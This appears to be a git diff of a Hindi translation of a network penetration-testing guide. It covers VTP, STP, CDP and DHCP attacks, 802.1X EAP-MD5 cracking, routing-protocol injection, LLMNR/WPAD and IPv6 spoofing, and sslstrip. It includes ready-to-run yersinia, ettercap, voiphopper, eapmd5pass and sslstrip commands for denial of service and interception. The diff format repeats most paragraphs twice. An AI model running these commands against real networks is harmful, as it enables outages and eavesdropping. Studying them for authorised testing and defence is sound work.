- **Advertisement Request:** एक VTP क्लाइंट द्वारा Summary Advertisement मांगने के लिए जारी किया जाता है, आमतौर पर उच्च कॉन्फ़िगरेशन संशोधन संख्या का पता लगाने के जवाब में।
VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही उपयोग की जा सकती हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के उद्देश्य से, प्रभावी रूप से नेटवर्क को बाधित करते हैं।
VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही उपयोग की जा सकती हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के परिदृश्यों के बाद VTP की ओर मुड़ सकते हैं। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के लक्ष्य के साथ, प्रभावी रूप से नेटवर्क को बाधित करते हैं।
नोट: यह चर्चा VTP संस्करण 1 (VTPv1) से संबंधित है।
````bash
@ -397,7 +397,7 @@ yersinia stp -attack 3
```
#### **STP TCP Attack**
जब एक TCP भेजा जाता है, तो स्विचों का CAM तालिका 15 सेकंड में हटा दिया जाएगा। फिर, यदि आप लगातार इस प्रकार के पैकेट भेज रहे हैं, तो CAM तालिका लगातार (या हर 15 सेकंड में) पुनः प्रारंभ की जाएगी और जब यह पुनः प्रारंभ होती है, तो स्विच एक हब की तरह व्यवहार करता है।
जब एक TCP भेजा जाता है, तो स्विच का CAM तालिका 15 सेकंड में हटा दिया जाएगा। फिर, यदि आप लगातार इस प्रकार के पैकेट भेज रहे हैं, तो CAM तालिका लगातार (या हर 15 सेकंड में) पुनः प्रारंभ की जाएगी और जब यह पुनः प्रारंभ होती है, तो स्विच एक हब की तरह व्यवहार करता है।
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -405,12 +405,12 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **STP Root Attack**
हमलावर स्विच के व्यवहार का अनुकरण करता है ताकि वह नेटवर्क का STP रूट बन सके। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।\
यह BPDUs CONF पैकेट भेजकर किया जाता है जो कहते हैं कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
यह BPDUs CONF पैकेट भेजकर किया जाता है जिसमें कहा जाता है कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**यदि हमलावर 2 स्विचों से जुड़े हैं, तो वह नए पेड़ का मूल बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)।
**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ का मूल बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)।
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
@ -421,49 +421,49 @@ CISCO Discovery Protocol (CDP) CISCO उपकरणों के बीच स
#### पैसिव डेटा संग्रह <a href="#id-0e0f" id="id-0e0f"></a>
CDP को सभी पोर्ट्स के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और वह Cisco IOS संस्करण शामिल है जो यह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
CDP को सभी पोर्टों के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और जिस संस्करण का Cisco IOS वह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
#### CDP टेबल बाढ़ को प्रेरित करना <a href="#id-0d6a" id="id-0d6a"></a>
एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को अधिभारित करके सेवा से इनकार (DoS) हमले को लॉन्च करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके इस तरह के हमले को प्रारंभ करने के लिए आदेश अनुक्रम दिया गया है:
एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को अधिभारित करके Denial of Service (DoS) हमला शुरू करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके ऐसे हमले को शुरू करने के लिए आदेश अनुक्रम दिया गया है:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण
इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जिससे इसे अक्सर **“नेटवर्क लकवाग्रस्त”** कहा जाता है क्योंकि संसाधनों का अत्यधिक उपभोग होता है
#### CDP Impersonation Attack
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि आप इसे `scapy/contrib` पैकेज के साथ स्थापित करें।
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि इसे `scapy/contrib` पैकेज के साथ स्थापित करें।
### VoIP हमले और VoIP Hopper उपकरण
VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत हैं, विशेष फोन नंबरों के माध्यम से दरवाजे खोलने या थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है।
VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत होते हैं, दरवाजे खोलने या विशेष फोन नंबरों के माध्यम से थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है।
उपकरण [**voiphopper**](http://voiphopper.sourceforge.net) विभिन्न वातावरणों (Cisco, Avaya, Nortel, Alcatel-Lucent) में VoIP फोन का अनुकरण करने के लिए डिज़ाइन किया गया है। यह CDP, DHCP, LLDP-MED, और 802.1Q ARP जैसे प्रोटोकॉल का उपयोग करके वॉयस नेटवर्क का VLAN ID खोजता है।
**VoIP Hopper** Cisco Discovery Protocol (CDP) के लिए तीन मोड प्रदान करता है:
1. **Sniff Mode** (`-c 0`): VLAN ID की पहचान के लिए नेटवर्क पैकेट का विश्लेषण करता है।
2. **Spoof Mode** (`-c 1`): वास्तविक VoIP उपकरण के पैकेट की नकल करते हुए कस्टम पैकेट उत्पन्न करता है।
2. **Spoof Mode** (`-c 1`): वास्तविक VoIP डिवाइस के पैकेट की नकल करते हुए कस्टम पैकेट उत्पन्न करता है।
3. **Spoof with Pre-made Packet Mode** (`-c 2`): एक विशिष्ट Cisco IP फोन मॉडल के पैकेट के समान पैकेट भेजता है।
गति के लिए पसंदीदा मोड तीसरा है। इसके लिए निम्नलिखित निर्दिष्ट करना आवश्यक है:
- हमलावर का नेटवर्क इंटरफेस (`-i` पैरामीटर)।
- अनुकरण किए जा रहे VoIP उपकरण का नाम (`-E` पैरामीटर), जो Cisco नामकरण प्रारूप का पालन करता है (जैसे, SEP के बाद MAC पता)।
- अनुकरण किए जा रहे VoIP डिवाइस का नाम (`-E` पैरामीटर), जो Cisco नामकरण प्रारूप का पालन करता है (जैसे, SEP के बाद एक MAC पता)।
कॉर्पोरेट सेटिंग्स में, एक मौजूदा VoIP उपकरण की नकल करने के लिए, कोई निम्नलिखित कर सकता है:
कॉर्पोरेट सेटिंग्स में, एक मौजूदा VoIP डिवाइस की नकल करने के लिए, कोई निम्नलिखित कर सकता है:
- फोन पर MAC लेबल की जांच करें।
- मॉडल जानकारी देखने के लिए फोन की डिस्प्ले सेटिंग्स में जाएँ।
- VoIP उपकरण को लैपटॉप से कनेक्ट करें और Wireshark का उपयोग करके CDP अनुरोधों का अवलोकन करें।
- VoIP डिवाइस को लैपटॉप से कनेक्ट करें और Wireshark का उपयोग करके CDP अनुरोधों का अवलोकन करें।
उपकरण को तीसरे मोड में निष्पादित करने के लिए एक उदाहरण कमांड होगा:
तीसरे मोड में उपकरण को निष्पादित करने के लिए एक उदाहरण कमांड होगा:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
@ -489,17 +489,17 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला प्रकार **इतने फर्जी होस्टों का अनुकरण करना है कि सभी संभावित IP पते उपयोग में आ जाएं**।\
**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला यह है कि **पर्याप्त फर्जी होस्ट का अनुकरण करें ताकि सभी संभावित IP पते का उपयोग किया जा सके**।\
यह हमला केवल तभी काम करेगा जब आप DHCP सर्वर के उत्तर देख सकें और प्रोटोकॉल को पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))। उदाहरण के लिए, यह **Wifi नेटवर्क में संभव नहीं है**
DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना, जिसमें स्रोत कोड के रूप में हर संभव IP का उपयोग करना**। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है।
DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP का उपयोग किया जाए**। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है।
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
एक अधिक स्वचालित तरीका यह है कि आप उपकरण [DHCPing](https://github.com/kamorin/DHCPig) का उपयोग करें।
आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट्स को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**
आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**
#### दुर्भावनापूर्ण मान सेट करें
@ -510,13 +510,13 @@ yersinia dhcp -attack 3 #More parameters are needed
- **हमारा IP पता (गेटवे विज्ञापन)**: अपने मशीन के IP को गेटवे के रूप में विज्ञापित करने के लिए `-i 10.0.0.100` का उपयोग करें।
- **स्थानीय DNS डोमेन नाम**: वैकल्पिक रूप से, स्थानीय DNS डोमेन नाम सेट करने के लिए `-d example.org` का उपयोग करें।
- **मूल राउटर/गेटवे IP**: वैध राउटर या गेटवे के IP पते को निर्दिष्ट करने के लिए `-r 10.0.0.1` का उपयोग करें।
- **प्राथमिक DNS सर्वर IP**: आप नियंत्रित किए गए धोखेबाज़ DNS सर्वर के IP पते को सेट करने के लिए `-p 10.0.0.100` का उपयोग करें।
- **प्राथमिक DNS सर्वर IP**: आप जिस धोखेबाज़ DNS सर्वर को नियंत्रित करते हैं, उसके IP पते को सेट करने के लिए `-p 10.0.0.100` का उपयोग करें।
- **द्वितीयक DNS सर्वर IP**: वैकल्पिक रूप से, द्वितीयक DNS सर्वर IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें।
- **स्थानीय नेटवर्क का नेटमास्क**: स्थानीय नेटवर्क के लिए नेटमास्क को परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें।
- **DHCP ट्रैफ़िक के लिए इंटरफ़ेस**: एक विशिष्ट नेटवर्क इंटरफ़ेस पर DHCP ट्रैफ़िक सुनने के लिए `-I eth1` का उपयोग करें।
- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता करने के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें।
- **डिफ़ॉल्ट गेटवे IP को स्पूफ करें**: डिफ़ॉल्ट गेटवे IP पते को स्पूफ करने के लिए `-S` शामिल करें।
- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोरगुल वाला है और इसे पता लगाया जा सकता है।
- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोर करता है और इसे पता लगाया जा सकता है।
इन विकल्पों का सही उपयोग करके, एक धोखेबाज़ DHCP सर्वर स्थापित किया जा सकता है जो नेटवर्क ट्रैफ़िक को प्रभावी ढंग से इंटरसेप्ट करता है।
```python
@ -528,9 +528,9 @@ yersinia dhcp -attack 3 #More parameters are needed
यहाँ कुछ हमले की रणनीतियाँ हैं जो 802.1X कार्यान्वयन के खिलाफ उपयोग की जा सकती हैं:
- EAP के माध्यम से सक्रिय ब्रूट-फोर्स पासवर्ड ग्राइंडिंग
- गलत EAP सामग्री के साथ RADIUS सर्वर पर हमला _\*\*_(शोषण)
- गलत EAP सामग्री के साथ RADIUS सर्वर पर हमला _\*\*_(exploits)
- EAP संदेश कैप्चर और ऑफ़लाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP)
- TLS प्रमाणपत्र सत्यापन को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना
- TLS प्रमाणपत्र मान्यता को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना
- हब या समान का उपयोग करके प्रमाणीकरण करते समय दुर्भावनापूर्ण नेटवर्क ट्रैफ़िक इंजेक्ट करना
यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में घटित करने की कोशिश कर सकता है और प्रमाणीकरण प्रयास को कैप्चर कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है:
@ -539,7 +539,7 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल का वर्ग है जिसे **एक गर्म redundant रूटिंग सिस्टम बनाने** के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है।
**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल का वर्ग है जिसे **एक गर्म अतिरिक्त रूटिंग प्रणाली** बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है।
**Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।**
@ -549,20 +549,20 @@ glbp-and-hsrp-attacks.md
### RIP
Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा UDP के माध्यम से पोर्ट 520 पर पीयर्स को डाटाग्राम भेजे जाते हैं, जबकि RIPng द्वारा IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर डाटाग्राम प्रसारित किए जाते हैं। RIPv2 द्वारा MD5 प्रमाणीकरण का समर्थन पेश किया गया था। दूसरी ओर, RIPng में स्वदेशी प्रमाणीकरण शामिल नहीं है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है।
Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा डाटाग्राम को UDP के माध्यम से पोर्ट 520 पर साथियों को भेजा जाता है, जबकि RIPng द्वारा डाटाग्राम को IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर प्रसारित किया जाता है। MD5 प्रमाणीकरण का समर्थन RIPv2 द्वारा पेश किया गया था। दूसरी ओर, RIPng द्वारा स्वदेशी प्रमाणीकरण शामिल नहीं किया गया है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है।
- **RIP और RIPv2:** संचार UDP डाटाग्राम के माध्यम से पोर्ट 520 पर किया जाता है।
- **RIPng:** IPv6 मल्टीकास्ट के माध्यम से डाटाग्राम प्रसारित करने के लिए UDP पोर्ट 521 का उपयोग करता है।
ध्यान दें कि RIPv2 MD5 प्रमाणीकरण का समर्थन करता है जबकि RIPng स्वदेशी प्रमाणीकरण शामिल नहीं करता, IPsec AH और ESP हेडर पर निर्भर करता है।
ध्यान दें कि RIPv2 MD5 प्रमाणीकरण का समर्थन करता है जबकि RIPng स्वदेशी प्रमाणीकरण शामिल नहीं करता है, IPv6 में IPsec AH और ESP हेडर पर निर्भर करता है।
### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग **स्वायत्त EIGRP प्रणाली** में **फैल जाएगा**
**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग स्वायत्त EIGRP प्रणाली में **फैल जाएगा**
EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ पड़ोस स्थापित करना** आवश्यक है, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाएँ खोलता है।
EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाएँ खोलता है।
[**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने** की अनुमति देता है। आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं।
[**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने की अनुमति देता है।** आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं।
{{#ref}}
eigrp-attacks.md
@ -585,7 +585,7 @@ Open Shortest Path First (OSPF) प्रोटोकॉल में **रा
## **Spoofing**
हमलावर नेटवर्क के नए सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है।
आक्रमणकारी नए नेटवर्क सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है।
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### स्थानीय गेटवे
सिस्टमों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्टों की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
सिस्टम और नेटवर्क के लिए कई मार्ग अक्सर होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्ट की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -635,20 +635,20 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
```
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की बिना प्रमाणीकरण ी प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है।
स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की बिना प्रमाणीकरण वाली प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है।
आप Responder का उपयोग करके होस्ट द्वारा खोजी गई सेवाओं की नकल कर सकते हैं ताकि नकली प्रतिक्रियाएँ भेजी जा सकें।\
[Responder के साथ सेवाओं की नकल कैसे करें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी यहाँ पढ़ें
यहाँ पढ़ें [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी।
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करके स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त करते हैं**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से "http://wpad.example.org/wpad.dat" जैसे URL के माध्यम से। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है:
ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करते हैं ताकि स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त की जा सकें**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से एक URL के माध्यम से जैसे "http://wpad.example.org/wpad.dat"। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है:
- **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुविधाजनक बनाया जाता है।
- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ लेबल वाले होस्टनाम की खोज करना शामिल है।
- **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते।
- **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुगम बनाया जाता है।
- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामक होस्टनाम की खोज करना शामिल है।
- **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते हैं
टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को इसे कनेक्ट करने के लिए गुमराह करता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [यहाँ देखें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)।
टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने से जोड़ने के लिए भ्रामक बनाता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)।
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
```
### IPv6 राउटर विज्ञापन धोखाधड़ी/बाढ़
कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में भेजे गए RA पैकेट्स से गेटवे को कॉन्फ़िगर करते हैं। हमलावर को IPv6 राउटर के रूप में घोषित करने के लिए आप उपयोग कर सकते हैं:
कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में भेजे गए RA पैकेट्स से गेटवे को कॉन्फ़िगर करते हैं। हमलावर को IPv6 राउटर घोषित करने के लिए आप उपयोग कर सकते हैं:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -684,7 +684,7 @@ mitm6
### sslStrip
बुनियादी रूप से, यह हमला यह करता है कि यदि **उपयोगकर्ता** एक **HTTP** पृष्ठ तक **पहुँचने** की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **साधारण पाठ** में कनेक्शन को **स्निफ** कर सके।
बुनियादी रूप से, यह हमला तब होता है जब **उपयोगकर्ता** एक **HTTP** पृष्ठ तक **पहुँचने** की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **साधारण पाठ** में कनेक्शन को **स्निफ** कर सके।
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
